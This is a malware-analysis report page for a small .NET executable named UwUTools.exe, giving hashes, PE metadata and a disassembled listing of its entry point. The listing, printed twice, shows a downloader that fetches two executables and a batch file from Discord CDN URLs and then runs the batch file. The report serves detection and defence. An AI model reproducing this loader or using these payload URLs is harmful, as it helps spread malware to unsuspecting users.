e473be0a0efc656df7d89c6870906c07

PE Executable

MD5: e473be0a0efc656df7d89c6870906c07

Size: 5.63 KB

application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Unlock with Essential

Symbol Obfuscation Score Very low

MD5	e473be0a0efc656df7d89c6870906c07
Sha1	e0a23298da7b84352c3375bda38dbe2ac348f44f
Sha256	be14a0558f90aa9b3a7b7bb2dda6b8d10985de41a0f17608ab25b9d352bf40db
Sha384	f07d4d378b38630cf129deddebaca1ab1fe318bfe76e4f5dd00e5b787118ad05b1b8e126880bf675107f05882d180dfc
Sha512	53399f8a72a1999c37b49315af8891d538d698ca9dae19bf05b3a9620fe8e5adb445b465b774eb4840af8f91e9dc55afd76bdd9a1c45d39ee96513054403dd40
SSDeep	48:6z+tZKHds5Dd2DMBIT+WbjNMaxWZHurLQHur5d1HurIVej/P7qBs1niGECtaKl2S:I2wAc+ULD50gejj+s1nz9C5zNt
TLSH	86C1832563F8873BD6378B39ACB657015578BB03AD13CB5D65D8220B9E27B100DB3B26

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

STICH beta

No STICH Path has been generated for this analysis yet.

1 structural branch were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 1

Name	Value
Info	PE Detect: PeReader OK (file layout)
Info	PDB Path: C:\Users\Mandarina\source\repos\UwUTools\UwUTools\obj\Release\UwUTools.pdb
Module Name	UwUTools.exe
Full Name	UwUTools.exe
EntryPoint	System.Void Program::Main()
Scope Name	UwUTools.exe
Scope Type	ModuleDef
Kind	Console
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	UwUTools
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.8
Total Strings	7
Main Method	System.Void Program::Main()
Main IL Instruction Count	53
Main IL	ldstr C:\UwUToolsV7 stloc.0 <null> ldloc.0 <null> call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0015: ldstr "https://cdn.discordapp.com/attachments/1154401944077606922/1166456845431472239/UwUTools.exe" ldloc.0 <null> call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldstr https://cdn.discordapp.com/attachments/1154401944077606922/1166456845431472239/UwUTools.exe stloc.1 <null> ldstr https://cdn.discordapp.com/attachments/1154401944077606922/1162755719527923732/rdl.exe stloc.2 <null> ldstr https://cdn.discordapp.com/attachments/1154401944077606922/1166472702345875548/uwutoolsv7.bat stloc.3 <null> ldloc.0 <null> ldstr UwUTools.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_4 ldloc.0 <null> ldstr rdl.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_5 ldloc.0 <null> ldstr uwutoolsv7.bat call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_6 newobj System.Void System.Net.WebClient::.ctor() stloc.s V_7 ldloc.s V_7 ldloc.1 <null> ldloc.s V_4 callvirt System.Void System.Net.WebClient::DownloadFile(System.String,System.String) ldloc.s V_7 ldloc.2 <null> ldloc.s V_5 callvirt System.Void System.Net.WebClient::DownloadFile(System.String,System.String) ldloc.s V_7 ldloc.3 <null> ldloc.s V_6 callvirt System.Void System.Net.WebClient::DownloadFile(System.String,System.String) leave.s IL_0081: ldloc.s V_6 ldloc.s V_7 brfalse.s IL_0080: endfinally ldloc.s V_7 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_6 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> leave.s IL_008E: ret pop <null> leave.s IL_008E: ret ret <null>
Module Name	UwUTools.exe
Full Name	UwUTools.exe
EntryPoint	System.Void Program::Main()
Scope Name	UwUTools.exe
Scope Type	ModuleDef
Kind	Console
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	UwUTools
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.8
Total Strings	7
Main Method	System.Void Program::Main()
Main IL Instruction Count	53
Main IL	ldstr C:\UwUToolsV7 stloc.0 <null> ldloc.0 <null> call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0015: ldstr "https://cdn.discordapp.com/attachments/1154401944077606922/1166456845431472239/UwUTools.exe" ldloc.0 <null> call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldstr https://cdn.discordapp.com/attachments/1154401944077606922/1166456845431472239/UwUTools.exe stloc.1 <null> ldstr https://cdn.discordapp.com/attachments/1154401944077606922/1162755719527923732/rdl.exe stloc.2 <null> ldstr https://cdn.discordapp.com/attachments/1154401944077606922/1166472702345875548/uwutoolsv7.bat stloc.3 <null> ldloc.0 <null> ldstr UwUTools.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_4 ldloc.0 <null> ldstr rdl.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_5 ldloc.0 <null> ldstr uwutoolsv7.bat call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_6 newobj System.Void System.Net.WebClient::.ctor() stloc.s V_7 ldloc.s V_7 ldloc.1 <null> ldloc.s V_4 callvirt System.Void System.Net.WebClient::DownloadFile(System.String,System.String) ldloc.s V_7 ldloc.2 <null> ldloc.s V_5 callvirt System.Void System.Net.WebClient::DownloadFile(System.String,System.String) ldloc.s V_7 ldloc.3 <null> ldloc.s V_6 callvirt System.Void System.Net.WebClient::DownloadFile(System.String,System.String) leave.s IL_0081: ldloc.s V_6 ldloc.s V_7 brfalse.s IL_0080: endfinally ldloc.s V_7 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_6 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> leave.s IL_008E: ret pop <null> leave.s IL_008E: ret ret <null>

No malware configuration was found at this point.

You must be signed in to view YARA rules.